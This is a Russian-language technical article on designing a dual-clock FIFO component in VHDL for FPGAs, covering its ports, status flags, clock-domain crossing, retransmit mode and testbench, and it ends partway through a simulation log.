FIFO это один из ключевых элементов цифровой техники. Это память типа «первым вошёл-первым ушёл» (first input – first output). Меня как разработчика ПЛИС FIFO окружают повсюду. Собственно я только и делаю что беру данные из одного FIFO и перекладываю в другое. Но как оно работает? В современных САПР конечно уже есть готовые элементы, у Altera есть замечательные мегафункции. У Xilinx есть Core Generator. Но что делать если что-то не устраивает в стандартных решениях? Ответ один – разобраться и написать самому.
В интернете существует большое количество статей про FIFO, и когда то мне попалась очень хорошая и толковая статья. К сожалению, сейчас я её не нашёл. Далее – мой личный опыт по созданию и применению компонента FIFO. Готовый элемент находится на Github в проекте [fpga\_components](https://github.com/dsmv/fpga_components). Свой компонент потребовался по нескольким причинам:
1. FIFO XIlinx не умеет работать в режиме ретрансмита – это главная причина
2. FIFO Xilinx требует создания компонента с заданными параметрами – у нас развелось слишком много разных компонентов.
3. FIFO Xilinx содержит ошибку – если приходит сигнал сброса одновременно с сигналом записи данных, то в FIFO застревает одно слово. Это мы конечно обошли, но всё равно неприятно.
Итак, что такое FIFO. В общем случае это двухпортовая память, два счётчика адреса и два автомата – для чтения и записи данных.
Одно из главных применений FIFO это перевод данных с одной тактовой частоты на другую. Этим определяется такая схема. При одной тактовой частоте на запись и чтение автоматы можно упростить.
Давайте рассмотрим внешние порты компонента FIFO:
**cl\_fifo\_m12**
```
component cl_fifo_m12 is
generic(
FIFO_WIDTH : in integer:=64; -- ширина FIFO
FIFO_SIZE : in integer:=4096; -- размер FIFO
FIFO_PAF : in integer:=16; -- уровень срабатывания флага PAF
FIFO_PAE : in integer:=544 -- уровень срабатывания флага PAE
);
port(
-- сброс
reset_p : in std_logic; -- 1 - сброс
-- запись
clk_wr : in std_logic; -- тактовая частота
data_in : in std_logic_vector( FIFO_WIDTH-1 downto 0 ); -- данные
data_en : in std_logic; -- 1 - запись в fifo
flag_wr : out bl_fifo_flag; -- флаги fifo, синхронно с clk_wr
cnt_wr : out std_logic_vector( 15 downto 0 ); -- счётчик слов
-- чтение
clk_rd : in std_logic; -- тактовая частота
data_out : out std_logic_vector( FIFO_WIDTH-1 downto 0 ); -- данные
data_rd : in std_logic:='0'; -- 1 - чтение из fifo, данные на втором такте
flag_rd : out bl_fifo_flag; -- флаги fifo, синхронно с clk_rd
cnt_rd : out std_logic_vector( 15 downto 0 ); -- счётчик слов
rt : in std_logic:='0'; -- 1 - переход на начало в произвольный момент
rt_mode : in std_logic:='0' -- 1 - переход на начало после чтения всего содержимого FIFO
);
end component;
```
Настройка компонента:
* FIFO\_WIDTH – ширина FIFO, может быть любая.
* FIFO\_SIZE – число слов в FIFO, это степень двойки, от 64 до 65536. Если нужен больший размер то надо делать составное FIFO.
* FIFO\_PAF – уровень срабатывания флага почти полного FIFO.
* FIFO\_PAE – уровень срабатывания флага почти пустого FIFO, о флагах будет дальше.
Названия портов вполне очевидные, несколько комментариев по флагам:
Флаги FIFO передаются типом bl\_fifo\_flag; Определение типа:
```
type bl_fifo_flag is record
ef : std_logic; -- 0 - FIFO пустое
pae : std_logic; -- 0 - FIFO почти пустое
hf : std_logic; -- 0 - FIFO заполнено наполовину
paf : std_logic; -- 0 - FIFO почти полное
ff : std_logic; -- 0 - FIFO полное
ovr : std_logic; -- 1 - запись в полное FIFO
und : std_logic; -- 1 - чтение из пустого FIFO
end record;
```
Обратите внимание, используется отрицательная логика. Узнали? Да, я ещё из тех динозавров кто работал с TTL на сериях 155, 533, 1533 и отдельными микросхемами FIFO. Так что эти флаги мне привычны, они были сделаны много лет назад и до сих пор используются.
Флаг ef – сигнализирует что FIFO пустое. Если ef=1, то из FIFO можно прочитать одно слово.
Флаг pae – сигнализирует, что FIFO почти пустое. На сколько почти определяет параметр FIFO\_PAE. Если pae=1, то из FIFO можно прочитать не более чем FIFO\_PAE слов.
Флаг hf – сигнализирует что FIFO заполнено наполовину.
Флаг paf – сигнализирует, что FIFO почти полное. На сколько почти определяет параметр FIFO\_PAF. Если paf=1, то в FIFO можно записать не более чем FIFO\_PAF слов
Флаг ff – FIFO полное. Если ff=0, то в FIFO записывать нельзя.
Флаг ovr – переполнение. Если ovr=1, то это значит что произошла запись в полное FIFO
Флаг und – underflow. Если und=1, то это значит что произошло чтение из пустого FIFO.
Вполне очевидно, что при записи в FIFO мы должны записать слово в двухпортовую память и увеличить счётчик записи. Или сначала увеличить, а потом записать. А при операции чтения надо зафиксировать данные на выходе и увеличить счётчик чтения. А вот дальше требуется решить следующие вопросы:
1. Как определить что FIFO полное или не полное, т.е. можно ли в него записывать ?
2. Как определить что FIFO пустое или не пустое? Т.е. можно ли из него читать ?
3. Как правильно сформировать флаги PAE, PAF, HF ?
4. Что такое число слов в FIFO ?
Вполне очевидно, что ответы на все эти вопросы в анализе счётчиков адреса для записи и чтения. Но эти счётчики работают на разных частотах. Вот здесь начинаются различия в реализациях. Я применил симметричную схему передачи значений счётчиков на другой тактовый домен. В результате получилось, что каждый из автоматов чтения и записи имеет значение своего счётчика и задержанное значение другого счётчика. Из этих значений автоматы формируют свои флаги и значение количества слов в FIFO. Это можно представить на структурной схеме:
Надо ясно понимать, что узел перетактирования (в проекте это компонент ctrl\_retack\_counter\_m12) передаёт данные с задержкой на несколько тактов. Поэтому состояния FIFO также изменяются с задержкой. Например, если FIFO пустое и него записано одно слово, то флаг ef=1 появится с некоторой задержкой. Это же относится к выходам количества слов в FIFO. Например, если в пустое FIFO будет записано 16 слов, то в процессе записи выход cnt\_wr будет принимать значения 0,1,2,3, … 16 (это если не производится чтение из FIFO), а вот выход cnt\_rd будет принимать значения например такие: 0, 5, 8, 12, 16. Точный порядок будет зависеть от соотношения частот и не может быть предсказан. Это принципиальное свойство FIFO которое работает на разных частотах. Хотя в зависимости от схемы синхронизации могут быть различные нюансы.
Определение пустого и полного FIFO производится на анализе счётчиков адресов. Причём у меня есть два адреса для записи (текущий и следующий) и два адреса для чтения, также текущий и следующий. В компоненте cl\_fifo\_control\_m12 это сигналы w\_adr, w\_next\_adr и r\_adr, r\_next\_adr; Соотношение адресов в различных состояниях представлено на рисунках ниже.
В исходном состоянии w\_adr=0, r\_adr=0, w\_next\_adr=1, r\_next\_adr=1. Если w\_adr=r\_adr, то FIFO пустое.
При записи слово данных записывается по адресу w\_adr и адрес записи увеличивается.
Через несколько таков значение w\_adr будет передано в w\_adr\_to\_rd (перейдёт в тактовый домен clk\_rd) и по факту не совпадения r\_adr и w\_adr\_to\_rd будет установлен флаг ef=1, т.е. из FIFO можно будет считать слово данных. Однако одно слово это мало, для получения высокой скорости передачи надо работать с блоком данных. И здесь требуется использовать флаг PAE. Когда в FIFO будет записано FIFO\_PAE слов, будет установлен флаг pae=1 и можно будет прочитать сразу блок данных. Это основной режим работы с DMA каналом.
Если скорость записи больше чем скорость чтения, то адрес записи догонит адрес чтения:
В этом случае w\_next\_adr будет равен r\_adr, а точнее r\_adr\_to\_wr (мы можем сравнивать только значения на своём тактовом домене). Это означает, что FIFO полное и записывать дальше нельзя, что бы не испортить уже записанные данные. Надо отметить, что для подключения АЦП это обычная ситуация. У нас такой режим называется однократный сбор через FIFO. В этом режиме АЦП записывает данные на большой скорости в FIFO, а медленный процессор эти данные считывает. При этом мы знаем, что действительными будет только блок данных который соответствует размеру FIFO. Обычно на этот размер как раз и программируется канал DMA. После чтения данных FIFO сбрасывается и всё повторяется снова. Вот в этом режиме принципиально важно, что бы запись в полное FIFO не портила предыдущие данные.
Если требуется записывать данные блоками, то надо использовать флаг PAF. Если paf=1, то в FIFO можно записать FIFO\_PAF слов.
Значения флагов PAE и PAF надо выбирать из требований DMA контроллера к которому подключено FIFO. Например, для PCI Express у нас используется блок данных размером 4 кБ. Это 256 слов по 128 разрядов. Размер флага PAE я устанавливаю в 272. Т.е. чуть больше чем 256. Это я делаю намеренно, что бы не допускать опустошения FIFO. Ну не доверяю я схемам формирования флагов.
А как производится определение количества слов в FIFO? Всё достаточно просто – из адреса записи надо вычесть адрес чтения. Адрес кратен степени 2, поэтому вычитание будет идти по модулю 2^N; Поскольку у нас есть две пары адресов, то у нас получится и два значения количества слов в одном FIFO (может это как то связано с квантовой механикой?).
Значения флагов PAE и HF (по чтению) формируются из r\_cnt. Значения PAF и HF(по записи) формируются из w\_cnt.
Основной причиной, по которой пришлось разрабатывать свой компонент FIFO, является потребность в реализации циклического режима для работы на ЦАП. В этом режиме производится запись блока данных, он может быть любого размера, разумеется не превышая размера FIFO. А затем начинается чтение, причём после выдачи последнего записанного слова сразу происходит переход на первое слово. Это позволяет подключить медленный процессор к быстрому ЦАП. Компонент FIFO имеет два входа для циклического режима. rt\_mode=1 означает, что после выдачи последнего записанного слова надо перейти на нулевой адрес.
А вот вход rt нужен немного для другого. Наличие rt=1 позволяет перевести FIFO на нулевой адрес в произвольный момент времени. Иногда это у нас тоже используется.
В проекте [fpga\_components](https://github.com/dsmv/fpga_components) представлены два FIFO:
* cl\_fifo\_x64\_v7
* cl\_fifo\_m12
cl\_fifo\_x64\_v7 разработан и опубликован достаточно давно. Также он давно используется и доказал свою работоспособность. Он в качестве двухпортовой памяти использует компонент сформированный Core Generator. Для разных размеров FIFO требуются свои компоненты, например в каталоге fpga\_components\src\fifo\fifo\_v7\coregen находятся четыре компонента
* ctrl\_dpram512x64\_v7
* ctrl\_dpram1024x64\_v7
* ctrl\_dpram8192x64\_v7
* ctrl\_dpram32768x64\_v7
И это всё только для шины с шириной 64 разряда. Для других шин и других размеров требуются свои компоненты. Мы их потихоньку делали и к настоящему моменту у нас есть большая куча, с которой работать уже неудобно. Александр Капитанов ( [capitanov](https://habrahabr.ru/users/capitanov/) ) обратил на это внимание и предложил элегантное решение — сделать полностью синтезируемое FIFO. Он это реализовал в своём проекте: [github.com/capitanov/adc\_configurator](https://github.com/capitanov/adc_configurator) Компонент: [ctrl\_fifo\_config](https://github.com/capitanov/adc_configurator/blob/master/ctrl_fifo_config.vhd). Основная идея в том, что бы применить вот такую конструкцию VHDL:
```
type RAM is array (integer range <>) of std_logic_vector(DATA_WIDTH-1 downto 0);
signal Mem : RAM (0 to DATA_DEPTH-1);
```
Это конструкция будет синтезирована в двухпортовую память. Идея красивая и в результате доработки cl\_fifo\_x64\_v7 получилось FIFO [cl\_fifo\_m12](https://github.com/dsmv/fpga_components/blob/master/src/fifo/fifo_m12/rtl/cl_fifo_m12.vhd).
Недостаточно написать FIFO, надо ещё проверить его работу. Для проверки используется подход принятый при разработке PROTEQ, о котором можно прочитать в моей предыдущей [статье](https://habrahabr.ru/post/321634/).
Существует компонент [tb\_00](https://github.com/dsmv/fpga_components/blob/master/src/fifo/fifo_m12/simulation/tb_00.vhd) который имеет настраиваемые параметры.
**tb\_00**
```
component tb_00 is
generic(
max_time : in time:=100 us; -- максимальное время теста
period_wr : in time; -- период частоты записи
period_rd : in time; -- период частоты чтения
fifo_size : in integer; -- размер FIFO
FIFO_PAF : in integer; -- уровень срабатывания флага PAF
FIFO_PAE : in integer; -- уровень срабатывания флага PAE
max_fifo0_pkg : in integer -- число пакетов для приёма
);
end component;
```
Он позволяет проверить прохождение потока данных через FIFO при различных соотношениях тактовых частот и уровнях срабатывания флагов PAE и PAF. Также существуют компоненты тестовых случаев:
* [tc\_00\_01](https://github.com/dsmv/fpga_components/blob/master/src/fifo/fifo_m12/simulation/00/tc_00_01.vhd) – проверят случай, когда скорость записи больше скорости чтения.
* [tc\_00\_02](https://github.com/dsmv/fpga_components/blob/master/src/fifo/fifo_m12/simulation/00/tc_00_02.vhd) – а это когда скорость чтения больше чем скорость записи.
В результате формируется вот такой отчёт о запуске тестов:
```
Global fifo_12 TC log:
tc_00_01 PASSED
tc_00_02 PASSED
```
Конечно, для каждого теста сохраняется и свой отчёт.
Например такой:
**tc\_00\_01.log**
```
# KERNEL: FIFO 0 - PKG= 1 6310 ns 0 ns ERROR: 0 SPEED: 0
# KERNEL: FIFO 0 - PKG= 2 12022 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 3 17734 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 4 23446 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 5 29158 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 6 34870 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 7 40582 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 8 46294 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 9 52006 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 10 57718 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 11 63430 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 12 69142 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 13 74854 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 14 80566 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 15 86278 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 16 91990 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 17 97702 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 18 103414 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 19 109126 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 20 114838 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 21 120550 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 22 126262 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 23 131974 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 24 137686 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 25 143398 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 26 149110 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 27 154822 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 28 160534 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 29 166246 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 30 171958 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 31 177670 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 32 183382 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 33 189094 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 34 194806 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 35 200518 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 36 206230 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 37 211942 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 38 217654 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 39 223366 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 40 229078 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 41 234790 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 42 240502 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 43 246214 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 44 251926 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 45 257638 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 46 263350 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 47 269062 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 48 274774 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 49 280486 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 50 286198 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 51 291910 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 52 297622 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 53 303334 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 54 309046 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 55 314758 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 56 320470 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 57 326182 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 58 331894 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 59 337606 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 60 343318 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 61 349030 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 62 354742 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 63 360454 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 64 366166 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 65 371878 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 66 377590 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 67 383302 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 68 389014 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 69 394726 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 70 400438 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 71 406150 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 72 411862 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 73 417574 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 74 423286 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 75 428998 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 76 434710 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 77 440422 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 78 446134 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 79 451846 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 80 457558 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 81 463270 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 82 468982 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 83 474694 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 84 480406 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 85 486118 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 86 491830 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 87 497542 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 88 503254 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 89 508966 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 90 514678 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 91 520390 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 92 526102 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 93 531814 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 94 537526 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 95 543238 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 96 548950 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 97 554662 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 98 560374 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG= 99 566086 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=100 571798 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=101 577510 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=102 583222 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=103 588934 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=104 594646 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=105 600358 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=106 606070 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=107 611782 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=108 617494 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=109 623206 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=110 628918 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=111 634630 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=112 640342 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=113 646054 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=114 651766 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=115 657478 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=116 663190 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=117 668902 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=118 674614 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=119 680326 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=120 686038 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=121 691750 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=122 697462 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=123 703174 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=124 708886 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=125 714598 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=126 720310 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=127 726022 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=128 731734 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=129 737446 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=130 743158 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=131 748870 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=132 754582 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=133 760294 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=134 766006 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=135 771718 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=136 777430 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=137 783142 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=138 788854 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=139 794566 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=140 800278 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=141 805990 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=142 811702 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=143 817414 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=144 823126 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=145 828838 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=146 834550 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=147 840262 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=148 845974 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=149 851686 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=150 857398 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=151 863110 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=152 868822 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=153 874534 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=154 880246 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=155 885958 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=156 891670 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=157 897382 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=158 903094 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=159 908806 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=160 914518 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=161 920230 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=162 925942 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=163 931654 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=164 937366 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=165 943078 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=166 948790 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=167 954502 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=168 960214 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=169 965926 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=170 971638 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=171 977350 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=172 983062 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=173 988774 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=174 994486 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=175 1000198 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=176 1005910 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=177 1011622 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=178 1017334 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=179 1023046 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=180 1028758 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=181 1034470 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=182 1040182 ns 5712 ns ERROR: 0 SPEED: 1368
# KERNEL: FIFO 0 - PKG=183 1045894 ns 5712 ns ERROR: 0 SPEED: 1368
